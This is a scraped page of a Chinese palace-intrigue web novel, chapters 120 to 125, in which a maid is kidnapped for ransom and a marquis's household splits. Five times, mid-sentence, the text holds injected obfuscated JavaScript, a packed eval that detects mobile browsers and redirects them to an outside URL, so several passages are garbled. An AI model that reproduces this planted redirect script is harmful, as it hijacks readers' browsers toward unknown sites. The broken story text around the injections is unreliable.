等宫女离开后,她坐到榻边,温柔安抚,“娘娘,曾经倪筱接近承王时,具体的情况我们都不清楚,此次让人易容成倪筱再去接近承王本就是一步险棋,被识破也没什么大不了。太子不是说了吗,就算对付不了承王,也可以嫁祸给华湘阁,让父皇对华湘阁心生忌惮,于我们也是有利的。” 澜贵妃满眼愤恨终是难消,咬着牙道,“华湘阁肯定要除,有这种势力资助承王,即便将来太子上位也不得安稳!我是真不甘心啊,当初让承王远离朝堂,本想让他死在边境,可他非但没死在外面,现在还越发生龙活虎!” 祝华凝伸出手温柔地为她揉起心口,“娘娘,要扳倒承王也不是一朝一夕的事,咱们得耐住性子。眼下您身子要紧,可不能因为区区一个华湘阁就把自己气坏了,这不值当。” 澜贵妃在她安抚下也稍稍冷静了些,但还是没完全消气,“那叫华芯的女子现在还住在承王府,听说最近同夜家二公子夜时竣走得极为亲近,这女人绝对不能留!” 祝华凝美目轻闪,忽地勾起红唇,“娘娘,我倒是有个主意。” “什么主意?”澜贵妃立马来了精神。 祝华凝贴近她耳边低语了起来。 听完后,澜贵妃原本的恨气便化成了喜色,“太子妃这法子甚妙,就这么办!如果她不从,那就拿她华湘阁弟子的身份做文章,同样能嫁祸给华湘阁。皇上这一次不信华湘阁有野心,可与华湘阁有关的人和事多发生几次,本宫就不信他还能心安!” 祝华凝笑说道,“那娘娘就别再置气了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136938|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿把药喝了,再好好休息,等您身子好了,我们便行动。” “好!” 正在这时,陈嬷嬷进来禀报,“太子妃,太子差人来请您速回东宫。” 祝华凝问道,“出何事了吗?” 陈嬷嬷回道,“宫外传来消息,说裕丰侯府夫人逮住了一个人。” “什么人?” “承王府的九姑。” 澜贵妃和祝华凝一听,都倍觉惊诧。 九姑这人她们没见过几次,但很难忽略。因为承王身边几乎没女人,九姑不但跟在承王身边多年,还随着他出入军营,她在承王心中的分量不亚于他们身边的一等嬷嬷。 …… 裕丰侯府。 地室里,温氏看着地上被五花大绑昏迷不醒的人,笑着对身侧的蒙面男子说道,“真没想到你能把她捉住!” “这女人发现了我,要不是我警惕,今日被抓的就是我了!”蒙面男上前发泄地踹了一脚。 温氏笑道,“幸好你没弄死她!你都不知道,这女人可是承王和承王妃身边的大红人,就他们对这女人的看重,我们若是拿这女人去找他们要银子,不知道要换多少呢!” 蒙面男有些不可置信,扭头看着她,“一个下人而已,能换多少银子?” 他留活口,是想通过这个女人打听承王的事。 华湘阁弟子向来隐匿于世,可那个华芯不但明目张胆地出现,还与承王夫妇形影不离,甚至马首是瞻。 这完全不是华湘阁的做派! 他不明白,承王和承王妃到底有何能耐,竟能让华湘阁弟子有违戒律做到如此! 温氏自然不知他抓九姑的真正目的,她看到九姑,此时脑中全是数不清的银子,“你别不信,我对夜时舒再了解不过,她对身边的人可大方了,更别说这种能为她卖命的人。咱们拿这女人找夜时舒换银子,少十万两我都不答应!” 蒙面男惊得双眼瞪大,“就她,值十万两?” “呵呵!”温氏笑得自信又得意,“可不止十万两!等把夜时舒这头的银子弄到手,我们再把她交给太子,太子还得再给我们赏赐!” 就在他们说得起劲儿时,蒙面男脚边有了动静。 九姑缓缓睁开眼,当看清楚温氏那张脸后,她猛地敛紧双目,再看到头上的蒙面男时,更是咬紧了牙。 “你们想做什么?” 第121章 来人备马 “醒了?”温氏到她跟前蹲下,捏了捏她的脸,笑说道,“没想到你一个粗使下人竟然溜光水滑,模样也生得标致,等我拿你换够了银子就把你卖去窑子,还能再赚一笔,哈哈!” “侯夫人,你应该知道我是谁的人,你抓我,就不怕得罪承王吗?”九姑冷冷地盯着她。 自从跟了夜时舒后,她对夜时舒身边的人都有所了解。本以为裕丰侯这位夫人温氏只是厚颜无耻了些,没想到温氏不但厚颜无耻,还不知天高地厚的与承王府作对! “哈哈!”温氏笑得很是不屑,“又没人知道是我抓了你,我有何可怕的?” 九姑望了一眼面具男,已经不需要多问了,这便是她家王妃要找的那个人—— 十年前被华湘阁除名的弟子华平! 王府出了个假倪筱,她本来是想回王府去看热闹的,听说王爷、王妃、以及那个假倪筱去了宫中,于是她便去宫门外等候。 没想到那个假倪筱竟然挟持澜贵妃。 她不便靠近,便藏匿于远处。 那假倪筱骑马逃离时,她忍不住去追,想不动声色的把人抓住。 在追的过程中发生了意想不到的是,一蒙面男子拦住了假倪筱的去路,两人明显熟识,就在她以为蒙面男是假倪筱的同伙,要帮假倪筱逃匿时,那蒙面男竟出其不意地把假倪筱杀了! 她好奇蒙面男的身份,便打算尾随,谁知道竟被蒙面男察觉到了,出其不意地给她撒了一捧迷香—— 她收起脸上的冷色,平静地问道,“说吧,你们抓我的目的?” 温氏抬头看了一眼蒙面男,起身退到一旁。 蒙面男居高临下地盯着她,用着粗犷的嗓音问道,“承王与华湘阁是何关系?为何华湘阁弟子能违背戒律在人前出风头?” 九姑平静地道,“我家王爷曾救过华湘阁阁主的性命,华芯下山为我家王爷医治腿疾和脸伤,同时也奉了华湘阁阁主之命留在我家王爷身边保护我家王爷。” 她回答得流利,并没有任何心虚的迹象,但蒙面男目光还是生了几分戾气,“华湘阁戒律严厉,从不曾为任何人破过例,就算承王对阁主有过救命之恩,也不可能让阁主为了他而破例!” 九姑仍旧平静地道,“听闻华湘阁多年前就换了阁主,或许是新阁主想打破陈规旧俗吧。当然,这只是我的猜测,真实原因我无从知道。” 蒙面男沉默起来。 但那一双眼如鹰一般死死盯着九姑,似在思索她的话究竟有几分真、几分假。 正在这时,石门传来响声。 温氏去开门。 不多时,她重返石室,对蒙面人说道,“丞相夫人邀我今夜去相府,定是为了这侍女的事。我得去准备准备,这里就交给你了。” 蒙面人点了点头。 等温氏离开,他蹲下身,捏着九姑下巴,继续用着粗犷的嗓音问道,“想活命吗?” 九姑翻个白眼,“你说呢?” 蒙面人面具下发出轻哼,“可我没从你身上看到求生的念头。” 九姑没接他的话,直言问道,“明说吧,你想要我做何?” 蒙面人发出瘆人的笑声,“能在承王身边做事的,当真不是一般人,够识好歹!侯夫人的意思是想拿你跟承王妃换银子,不过我嘛,更想你帮我把华芯弄到手。你说,有什么办法可以两全其美?” “换银子简单,但要对付华芯,我做不到。”九姑眼神坦荡地看着他,“毕竟,华湘阁弟子不是泛泛之辈,我若有那本事,也不会落在你手里,不是吗?” “也是。”蒙面男先是点了点头,但接着话锋一转,又发出瘆人的笑,“不过我们可以让华芯带着赎金来救你,哈哈!” “……”九姑猛地咬紧牙,平静的脸庞上瞬间失去血色。 …… 九姑一夜未归,搁以前夜时舒是不会过问她去向的。 可一转眼这都第二晚了,她没有送任何消息回府不说,就连文岩、文墨去找都没有她的消息。 “王爷,九姑以前有过这种情况吗?” “她应该是出事了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136939|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”尉迟凌沉声下了判定。 夜时舒脸色一下子失血,“出事?九姑她身手不错的,怎可能轻易出事?” 她坐不住了,起身便往外跑。 刚跨出门槛便见文岩回来报信。 “王妃,九姑出事了!我们的人发现九姑留下的暗记,寻着暗记找去,但暗记却在十里坡断了!” 夜时舒没有迟疑,立即下令,“召集人手,去十里坡!” 夜时竣和顾思沫闻讯,也都提着心随他们一同出去寻人。 …… 将军府。 夜庚新在书房忙到夜深,郝福催了他几次让他回房歇息,但都被拒绝了。 “爹!”夜时珽突然急步跨进书房。 见儿子还没睡,夜庚新抬头问道,“这么晚了,何事如此惊慌?” 夜时珽沉着脸道,“承王府来消息,说九姑在十里坡失踪了!” 闻言,夜庚新猛地从座椅上蹦起,“什么?失踪?” 夜时珽蹙着眉摇头,“我也不知具体情况如何,只听说小妹他们赶去十里坡寻人。”顿了一下,他沉声补充,“多半出事了。” 他话音刚落,夜庚新便绕过书桌直奔门外,“来人!备马!” …… 裕丰侯府。 游家两子游建彬和游建川明面上虽没有分家,但十多年来,两兄弟几乎是各过各的。 游建川和马氏也是一儿一女,只是被游建彬和温氏这对兄嫂打压得厉害,一家四口一直挤在侯府的一处偏院中,生活来源全靠游建川做点小买卖。 这两日游建川去外乡收账,游宏馨便主动陪着母亲马氏入睡。 “母亲,您今日没出门,都不知道府里有多奇怪。”入睡前,游宏馨习惯性地和马氏聊天。 “怎么了?”马氏好奇问道。 “明日堂姐回门,按理说大伯母应该张罗才对。可大伯母今日都没在府中露面,我先前去找刘妈借锥子,回来路过主院时,竟看到大伯母穿戴一新地出去了。这天都黑了,她打扮得那般光鲜也不知道出去做什么。” 第122章 侯府做客 “八成是他们巴结上了哪家权贵了吧!”马氏嘲讽地笑道。 “谁家会大半夜地宴请宾客?”游宏馨很是不解,“如果大伯母真巴结上了哪家权贵,以她的性子,早都张扬开了。可她打扮得那般光鲜,却是坐着一顶小轿离开侯府的,连马车都没用。” 马氏皱了皱眉。 按女儿所说,温氏的做派的确反常。 不过一想到温氏的德性,她就忍不住鄙夷,“管她大半夜去做什么,反正侯府的名声早就被他们搞臭了,再臭还能臭到哪里去?” 游宏馨叹了口气,“大伯和大伯母虽然无德,可侯府到底是祖父的心血,被他们败成这样,真是替祖父感到心痛。我不怕别的,就怕‘裕丰侯’这牌匾都保不住,祖父在泉下有知该多难受啊!” 马氏坐起身。 大房怎么作死她都可以不管,但她儿子即将科考,如果游建彬和马氏真做了什么事影响到侯府声誉,那她家宏泽也会受牵连。 如女儿所言,温氏不在府中准备明日游清柔的回门宴,大半夜地跑外面去,说不定真是去做什么见不得人的事…… “馨儿,今晚我们别睡了。走,跟我去外面盯着。”她一边说着一边下床拿外衫。 “嗯。” 母女俩借着夜色掩盖悄摸往主院去了。 如今侯府凋落,府中下人不多,大半夜的院里院外更是没个人影。 她们在一座假山后面蹲着,差不多都快丑时了,温氏才从外面回来。 而她一回主院并没有立即回卧房,而是绕过主屋往后院去了。 “母亲,大伯母比我们还像贼,你说她到底要做什么?”游宏馨低声问道。 “走,去看看。”马氏的好奇心也彻底被激发了出来。 母女俩摸着黑蹑手蹑脚地跟去了后院,躲在一堆杂物后面。 没多久,就见温氏从一间柴房出来。 后面还跟着一个人。 月光下,那人戴着白色面具,就无脸鬼一样,吓得母女俩惊恐地捂住嘴巴。 最主要的是,那面具人一出柴房就朝墙头飞去,转瞬就消失不见了。 温氏望着他消失的方向,‘哼哼’笑了起来。 她也没在后院多待,很快便离开了。 等她一走,马氏和游宏馨母女俩也不敢立即出来,蹲在杂物后面平复心情,过了许久然后才出来,然后蹑手蹑脚地进了柴房,想看看里面究竟有什么。 但母女俩找了一圈,柴房里除了半屋柴禾外什么也没有。 不得已,母女俩只能蹑着手脚溜回他们住的小院。 一关上门,游宏馨便放开呼吸大喘息,“母亲,大伯母半夜私会男人,我们要不要告诉大伯?” 马氏也捂着心口喘气,听着女儿的话,忍不住嗔了女儿一眼,“私会哪有这么快的?” 游宏馨不解,“不是私会,那这蒙面的男子来侯府做何?还有,这人看起来好生厉害,大伯母怎么会认识这种人?” 马氏也百思不得其解,只能摇头,“算了,瞎猜也猜不出什么。天快亮了,赶紧睡会儿,天亮了你堂姐若是回门,我们还得去帮忙。” “哦。” …… 承王府和将军府两拨人马在十里坡寻了一夜,除了一枚九姑专属的暗记外,什么有用的线索都没留下。 天亮后,一行人回到承王府。 夜时舒回卧房准备洗把脸,刚要叫春柳,就见床柱上插着一把飞镖。 她眸孔一紧,快速上前将飞镖拔下,取下飞镖上绑着的纸条。 展开纸条一看,她脸色瞬间难看得不行,转身夺步往厅堂跑去—— 夜家父子三人还没离开,看过那纸条后,全都不约而同地变了脸。 “十万两银子?还指明要芯儿去送?”夜时竣最先开骂,“真是吃了熊心豹子胆,竟敢抓承王府的人要赎金!别让我逮到,否则我非亲手弄死他不可!” 夜时舒气过头反而开始冷静了。 九姑在明面上只是她和承王的侍女,如果是一般的**勒索,谁会**一个下人去向主子讨要如此高额的赎金? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136940|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这显然说不通。 除非,对方知道九姑对他们夫妻很重要。 换言之,对方了解他们! 不但了解他们夫妻与九姑的关系,还很笃定他们夫妻能拿出如此高额的赎金! 魏家、游家、还是范家那祖孙三人? “文岩、文墨!”她朝兄弟二人看去,冷声吩咐,“去查查魏家、游家、还有我姑婆他们祖孙三人这两日的动静!” 这三家,不但熟悉她的情况,还都觊觎她的嫁妆,除了他们,她真想不出还有谁会做出**侍女找主子要赎金的事出来! 文岩和文墨领命退下。 夜庚新父子三人听着夜时舒的话,脸色更是又震惊又愤怒。 那三家竟敢对承王府的人下手?! 半个时辰后,文岩和文墨先后回来。 文岩禀道,“监视魏家和范家祖孙三人的人都说他们这两日并无异常。” 文墨禀道,“监视裕丰侯府的人说,昨晚侯夫人温氏去了一趟丞相府,丑时才回府。” 所有人都沉了脸。 夜时舒冷声问道,“她大晚上的去丞相府做什么?” “回王妃,只知她去了丞相府,其他的打探不到。”文墨回道。 “把侯府盯紧了!” “是!” 夜时竣突然说道,“对了,今日好像是游清柔与魏永淮回门的日子,我们要不要去借此机会去侯府看看?” 闻言,夜时舒这才想起此事。 她朝尉迟凌看去。 尉迟凌点了点头。 于是,大家伙收拾了一番,夜庚新便带着三个儿女前往侯府做客。 说什么他们也是游清柔的娘家人,游清柔回门他们去见见侯府的姑爷,这也是应该的。 只是,游建彬和温氏根本没想到他们会来。 看着他们一家子出现,夫妻俩脸色就跟刷了黑墨似的,要多难看就有多难看。 “大舅舅、大舅母,怎么,你们不高兴见到我们吗?听说表姐今日回门,我们可是专程为了表姐和表姐夫来的。” 第123章 兄弟** 温氏一点都没掩饰对他们一家子的厌恶,“我家柔儿身子不适,早派人给我们说过,今日不回门!” “大舅母,不回就不回吧,反正都在京城住着,什么时候回门都一样!”夜时竣一边说着一边往里走,“不过我们来都来了,今日就勉为其难在侯府用膳吧,顺便去给外祖父上柱香,让他保佑我大哥早日娶上媳妇!” 夜时珽一脸黑线,“……” 他是娶不上媳妇的人吗? “你!”温氏见他吊儿郎当的样子,气得就要去拦他。 “二哥!等等我,我也要去给外祖父上柱香!”夜时舒飞快奔过去,顺势挤开了温氏,然后扯着夜时竣的衣袖麻溜往内院去。” 温氏脸色更黑了。 好在游建彬还算冷静,瞪了温氏一眼,随即对夜庚新说道,“里面请吧!” 面对他的不冷不热不甘不愿,夜庚新仿佛什么都没看见,带着老大闲庭信步地往内宅去。 他们也没有空手而来,还是备了些礼物的。 看到郝福正招呼下人抬礼物,温氏的脸色这才缓和了一些。 不过她仍旧把游建彬拉到一旁,小声交代,“老爷,他们一家子绝对不怀好意,你说他们会不会……” 游建彬岂能不明白她的意思? 他眯着眼盯着夜庚新一家子的背影,压着嗓门道,“他们应该不知道,如果他们知道,绝对不是这种态度。” 温氏想了想,也是。 先不说别人,如果夜家真知道九姑在他们手里,就夜时竣那混不吝的性子,还能这样带着礼物上门? 游建彬冷哼,“他们今日来,多半是想看柔儿的笑话!毕竟柔儿和魏永淮成亲,都是夜时舒这贱蹄子的‘功劳’!” 他这一提,温氏就气不打一处,望着夜家父子几人的背影,就差把一口牙咬碎了! 何止是夜时舒的‘功劳’…… 还有紫琼山庄的事! 明明她家柔儿是要与夜时竣生米煮成熟饭的,结果却稀里糊涂被别人夺了清白,甚至连对方是谁都不清楚! 这一笔笔的仇,她是绝对要报的! 厅堂里。 夜时竣和夜时舒走在最前面,看似来侯府玩乐,实则却在低声交流。 “小妹,盯梢魏家的人没说魏家有任何异样,但游清柔和魏永淮却没回门,这里面肯定有猫腻。” “二哥谨慎些,他们身后有个华平,可随时对我们做手脚。” “早知道应该把芯儿带来的,有她在,小爷我便能横着走。” “我还想把王爷带来呢,有他在,这侯府上下还得给我磕头敬茶!”夜时舒忍不住对他翻了个白眼。 “哈哈……”夜时竣放声大笑。 一家四口先后进了厅堂。 坐了差不多一刻钟,游建彬和温氏才领着下人进来上茶。 夜庚新端坐上位也不恼,还难得温和地与游建彬说道,“二舅哥一家也在府中,难得今日家宴,叫他们一家出来吧,好些年大家都没有在一起热热闹闹叙话了。” 家宴? 温氏险些吐血。 他们不请自来,还想她张罗酒菜招待他们?简直是厚颜无耻! 夜时舒说道,“爹,我记得小时候家宴都是二舅母张罗,她还亲自下厨呢,我最喜欢的一道酱炒笋肉就是二舅母的拿手菜。今日难得回侯府,可得让二舅母多做些!” “来人,去叫二爷和二夫人!”温氏冷着脸朝门外吩咐。 倒不是她顺从夜时舒的话,而是她不想伺候这厚颜无耻的一家子! 既然她那么看重马氏,那就让马氏来伺候,还省了她心烦火冒! “大舅舅、大舅母。”夜时珽拱手朝他们施了一礼,“本以为今日清柔表妹会回门,所以我们才来赶这趟热闹。若有打扰之处,还请你们见谅。” 游建彬和温氏看着他谦恭有礼的样子,心下都忍不住暗骂。 虚伪至极! 他们女儿出嫁,这夜家是一毛不拔。送了两件礼物来侯府也不说是什么,虚晃一下便还又拿了回去。 出嫁时不见他们上半点心,回门日他们倒是赶着来了! 果然,他们就是来看她女儿笑话的! 没多久,二房马氏带着女儿游宏馨来到众人面前。 母女俩先给夜时舒行礼,“拜见承王妃,王妃万福。” 接着才给夜庚新见礼。 夜庚新起身,抬手示意,“二嫂不用如此见外。”他还朝游宏馨笑了一下,问道,“馨儿,怎不见你父亲和大哥?” 游宏馨一脸腼腆,“回姑父,父亲他两日前去了外乡,大哥要参见秋闱考试,最近都住在私塾里,他说这样可以专心念书,有何不懂的还能及时请教夫子。” 夜庚新赞许地点头,“你大哥是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136941|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上进的。” 夜时珽、夜时竣、夜时舒兄妹三人也起身给马氏见礼。 马氏受宠若惊,忙招呼他们,“快别这样,都坐下吧。不知道你们会来侯府,二舅母是一点准备都没有,你们可别嫌二舅母寒碜。” 看着他们一家子对马氏的态度,温氏一肚子火瞬间就炸了,“怎么的,你们眼中就只有老二家的,把我们当空气吗?” 夜时舒抬眸冷视,直接怼她,“大舅母知道什么叫礼数吗?可要本王妃亲自教你?” 他们一家已经商量好了,只要找到机会,便把游建彬这‘裕丰侯’的头衔给他摘了! 与其让他们顶着侯爵之名败坏外祖父的名声,还不如让他们一无所有! 毕竟游家也不是只有游建彬这一个儿子! 他二舅舅的儿子游宏泽勤勉上进又本分低调,只要今年科考能上榜,游家风光再现那是指日可待的! 温氏见她如此贬低自己,气得立马要撸袖子。 游建彬眼疾手快地拉住她,然后冷着脸道,“这是游家,如果你们是来耍威风的,那游家不欢迎你们!” 夜庚新也没再给他好脸,“大舅哥是觉得我们在耍威风?可我家舒儿也没让你们行礼啊!反倒是大舅哥和大嫂仗着长辈的身份横竖看我们一家不顺眼,打从进门起便没给过我们好脸色。” 游建彬咬牙,“若你们觉得我们无好脸,你们大可离开!我游家不欢迎你们!” “大哥!” 听门外突然传来不满的声音。 众人闻声望去,就见游建川提着袍子飞奔进来,不满地对游建彬说道,“你怎么能这样对将军?就算月琴过世了,可时珽、时竣、时舒始终是父亲的外孙,你不看在月琴份上,也该看在父亲的份上好好待他们,怎么能撵他们走呢?” 游建彬脸色黑青,挥起一巴掌便扇了过去—— ‘啪’! 沉闷的响声比惊雷还震耳欲聋。 游建川捂着脸,不敢置信地望着游建彬。 马氏上前搀住他,心疼得瞬间掉泪,“夫君……” 温氏见丈夫出手了,也忍不住发狠话,“你这个没用的东西,平日里就指望不上你们一家子,现在你还吃里扒外,帮着一群外人指骂我们!你们一家子要是不想在侯府过,那我今日便以侯府主母身份命令你们,收拾东西,滚出侯府!” 第124章 意外收获 游建川放下手,冷笑道,“好啊!有你们这样的大哥大嫂,我们也受够了!既然你们无情,那今日我们一家便离开侯府,从今以后生死各论,再无相干!” 看着兄弟俩**,夜庚新还是有些意外的。 他是想让这游建川另立门户,只是还没找到机会说服游建川,没想到他还没开口,游建川便自己提出来要与侯府**。 他朝三个儿女看去。 夜时珽用眼神示意他稍安勿躁。 夜时竣上前,扶着游建川后退了两步,笑说道,“二舅舅,您也是太能忍了,换做我的话,早就跟他们翻脸了!没事的,别怕啊,等你们出了侯府,以后我罩着你们!” 夜时舒低头笑了笑。 二哥真是会火上浇油…… 如她笑话的这般,游建彬和温氏听到夜时竣这偏袒的话,双双瞪红了眼。 游建彬更是指着大门的方向,冲游建川和马氏吼道,“滚!我游家没有你们这样吃里扒外的东西,现在就给我滚!” 游建川跟马氏一样眼眶泛泪。 从小到大,他对这个兄长处处忍让,可这个兄长对他从来只有刻薄。在这个兄长承袭了候位以后,更是不可一世。 他还记得,当初生女儿时,他在外面谋生计,妻子在侯府分娩,温氏这个大嫂连稳婆都不帮忙请,还是他们小妹月琴听说二嫂要生了赶来帮忙,这才保住了他妻女没有因为难产而一尸两命…… 自从他们父亲过世后,他们一家四口没用过侯府一个铜板,吃穿用度全靠自己解决。试问,这样的家,他们留下来还有何意思? 夜时竣的话对游建彬和温氏来说是火上浇油,但对游建川来说,却是撑起了他的脊梁,让他更加坚定地要与这对无良夫妻**—— “走,夫人,回去收拾东西!” 语毕,他抓着马氏的手冲出了厅门。 游宏馨见状,赶忙追了出去。 温氏随即又指着夜庚新一家,恶狠狠地道,“这里不欢迎你们,请你们离开!” 夜庚新没恼,只是对儿子女儿说道,“去,帮你们二舅舅和二舅母抬东西。” “好勒!”夜时竣立马跑了出去。 夜时珽和夜时舒对视了一眼,也笑着跟了去。 他们看似是去帮游建川一家搬家,但一路上却是不动声色地查看着侯府的情况。 令人失望的是,侯府没发现可疑之处。 游建彬和马氏住的地方是侯府最偏僻的一处小院,他们兄妹三人进到小院,都忍不住皱眉。 地方破小不说,屋里家什没一件不是旧的,出去说这是侯府二爷住的地方,怕是直接能让人笑掉大牙。 “夫君,我们真的要搬出去吗?”马氏红着眼眶问道。 “搬!”游建川咬牙道,“就算睡桥洞,我们也要搬出去!” 马氏含泪收捡东西。 游宏馨是头一次见父亲发如此大的脾气,体贴地上前安抚他,“父亲,大伯和大伯母那德性,犯不着与他们置气。今日就算他们不赶我们一家出去,我也会找机会劝您搬出去。” 游建川抬手拍了拍女儿的肩,欣慰又自责地道,“馨儿,都怨父亲没本事,让你们娘仨受了这么多年委屈。” 游宏馨摇头,“父亲,这不怨你,是大伯和大伯母不会做人。再说了,就大伯母背地里做的那些见不得光的事,侯府名声早晚要被她败彻底。我大哥可是要入仕的,继续留在侯府,将来肯定要受牵连。为了大哥的前程和名声,就算他们求着我们留下我们也得离开!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136942|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >游建川皱眉问道,“你大伯母又做了何事?” 都这个时候了,游宏馨自然不会再给温氏留颜面,便将昨夜她们母女看到的一幕说给了他听。 她话音刚落,游建川还没来得及痛骂温氏,夜家兄妹三人便挤进房里把他们父女围住。 夜时舒抓住游宏馨的手,激动地问道,“表姐,你说大舅母夜会男人,那男人长何模样?” 游宏馨懵懵地看着他们,不明白他们为何如此激动,但还是回道,“那人戴着白色面具,不知真容。不过,他武功极高,一下子就飞走了。” 兄妹三人你看着我、我看着你,眼中都充满了惊喜。 那人肯定是华平! “大表哥、二表哥、舒儿表妹,你们……认识那人吗?”游宏馨一头雾水地反问他们。 “我们不但认识那人,还要逮住他要他狗命!”夜时竣恨道。 见父女俩被他们弄得不知所措,夜时珽转移话题,催促道,“二舅舅,我们先帮你们搬出吧。我名下有处宅子,就在桂西街,离将军府不远,你们可搬去那里住。” 游建川不好意思地道,“怎么好意思让你给我们安排住处……” 夜时珽微微一笑,“二舅舅不用如此见外,你们放心住,住多久都没问题。” 夜时竣也笑着说道,“我这就让郝福叫人来搬东西!” 转身离开前,他快速给夜时舒使了个眼色。 夜时舒会意,立马退出房门说是去找茅厕方便。 兄妹俩一出房门,默契地飞身上屋,朝着主院后面的方向而去—— 他们今日来侯府,本就怀疑九姑的失踪与温氏有关。 毕竟温氏背后有个华平! 眼下既然有了华平的踪迹,他们肯定不会放过他! 第125章 诱她大闹 但他们偷偷搜了一圈,也没发现任何可疑之处。 兄妹俩躲在游宏馨说的那间柴房里,既失望又不甘心。 “小妹,按理说,如果他们绑了人,肯定会派人看守的,但这侯府上下我们找了这么久,也没见哪个地方有看守,莫非九姑被关在了别的地方?不是说昨晚大舅母去过丞相府吗,会不会九姑被关在丞相府?” 夜时舒一边分析一边摇头,“九姑肯定是被华平抓去的,丞相府就算知道这事,也只会暗中唆教。明知道九姑是承王府的人,他们要是拿了九姑,那就是明目张胆的与承王府作对,一旦出点差错,反而会落人把柄。如此毫无益处的事,丞相府应该不会做。” 夜时竣忧愁不已,“当下最要紧的就是找到九姑的下落……如果**她的人只是为了银子,那还好说,怕就怕别人拿九姑做诱饵对付我们,到时我们一定很被动。” 夜时舒环顾着柴房,脑海中回想着游宏馨说的话。 “小妹,你想什么呢?”夜时竣拿手肘碰了碰她。 “二哥,我有个法子……” “快说快说!” “九姑在哪里我们不知道,但我相信,一定跟魏家和游家有关!早上收到那张纸条上只写了让二嫂带银子去换九姑,没有说什么时候、什么地方,这说明他们准备得还不够充分。二哥,你说如果我们给他们找点事做……” 不等她说完,夜时竣便坏笑地接道,“如果他们被别的事拖住,那就没多的心思管九姑,如此一来我们便有更多机会寻找九姑!小妹,你这法子妙,就这么办!” 夜时舒认真道,“二舅舅不是要与侯府**嘛,正是个好机会!等下你去二舅舅那里,请他和二舅母配合一下。我派人去魏家散播消息,务必让游清柔回侯府闹一闹,然后再让王爷派人把侯府团团监视住……哼!” …… 魏府。 今日本该是游清柔的回门日,她之所以没回去,不是因为别的事,而是因为她肚子不适。 这还得从她出嫁那日说起。 她和魏永淮在万福寺赤身睡在一起,那一次他们都晕迷着,什么事都没发生。洞房花烛夜她本打算在合衾酒中做手脚,让魏永淮在神志不清中与她‘圆房’,如此便能掩盖她不是处子之身的秘密,接着再等个把月就可以名正言顺地说自己怀孕了…… 可人算不如天算。 洞房夜,魏永淮到了新房,非但没有喝合衾酒,还一脸嫌恶地告诉她,娶她只是迫于两家往来,他对她半点兴致都没有。 接着便头也不回地离开了新房。 游清柔因为当新娘,本就坐了一天,也没吃什么东西,当下面对魏永淮的厌恶和离去,一下气怒火攻心动了胎气。 温氏安排了一个可靠的老婆子江妈做她陪嫁,江妈为了不让人发现她怀孕的秘密,一边偷偷买保胎药给她吃,一边到魏广征和葛氏面前状告魏永淮这位姑爷的不是,还称游清柔气病了,全是魏永淮这位姑爷的错。 魏、游两家的婚事,魏广征和葛氏再清楚不过。儿子新婚夜冷落游清柔,他们一点都不意外。 而游清柔的脾气,他们也很是了解。这种事终归是他们儿子理亏,老两口生怕游清柔找他们吵闹,所以这几日都是能躲就躲,根本不敢去游清柔面前露脸。 游清柔反倒是得了安静,专心地在房里卧床养胎。 “小姐,不好了,侯府闹起来了!”江妈听到下人的议论,赶紧回房禀报。 “发生何事了?”游清柔皱眉问她。 “小姐,夜家父子今日去了侯府,也不知道他们做了什么,二爷和二夫人突然闹着要分家,这会儿正在侯府搬东西呢!” 